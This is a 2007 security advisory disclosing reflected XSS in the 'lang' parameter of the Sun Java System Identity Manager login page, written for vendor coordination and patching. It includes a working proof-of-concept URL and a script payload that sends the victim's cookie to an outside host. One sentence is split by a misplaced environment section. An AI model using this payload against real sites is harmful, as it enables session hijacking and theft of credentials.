XSS on Sun Java System Identity Manager 6.0/7.x login page "lang" parameter

Vulnerability found:
11 June 2007

Vendor informed:
18 June 2007

Severity level:
Medium/High

Credits:
Jan Fry and Adrian Pastor of ProCheckUp Ltd (www.procheckup.com) ProCheckUp thanks Sun for working with us.

Description:
Sun Java System Identity Manager login page is vulnerable to XSS within the "lang" parameter processed by the "/idm/login.jsp" server-side script.

Consequences

An attacker may be able to cause execution of malicious scripting code in the browser of a user who clicks on a link to Sun Java System Identity Manager.
This type of attack can result in non-persistent defacement of the target site, or the redirection of confidential information to unauthorised third parties.
Note: the victim user does

Server environment

Sun Java System Identity Manager 6.0 (20061212 SP 2)

Apache-Coyote/1.1

Apache Tomcat/5.0.28

*not*

need to be authenticated for this vulnerability to be exploitable.

Client environment

Microsoft Internet Explorer 7.0.5730.11
Sun has confirmed the following products to be affected by this issue:
Sun Java System Identity Manager 6.0, Sun Java System Identity Manager 7.0, Sun Java System Identity Manager 7.1

BID

27214


Proof of concept:
The provided PoC URL forwards the victim user's cookie to a third-party site (procheckup.com in this case).
https://target.tld/idm/login.jsp?lang=--><script>window.location=
"http://procheckup.com/?"+document.cookie</script><!--&cntry=
Injected payload:
--><script>window.location="http://procheckup.com/?"+document.cookie</script><!--

How to fix:
http://sunsolve.sun.com/search/document.do?assetkey=1-26-103180-1

References:
http://www.procheckup.com/Vulnerabilities

Legal:
Copyright 2007 ProCheckUp Ltd.
All rights reserved. Permission is granted for copying and circulating this Bulletin to the Internet community for the purpose of alerting them to problems, if and only if the Bulletin is not changed or edited in any way, is attributed to ProCheckUp indicating this web page URL, and provided such reproduction and/or distribution is performed for non-commercial purposes. Any other use of this information is prohibited.
ProCheckUp is not liable for any misuse of this information by any third party. ProCheckUp is not responsible for the content of external Internet sites.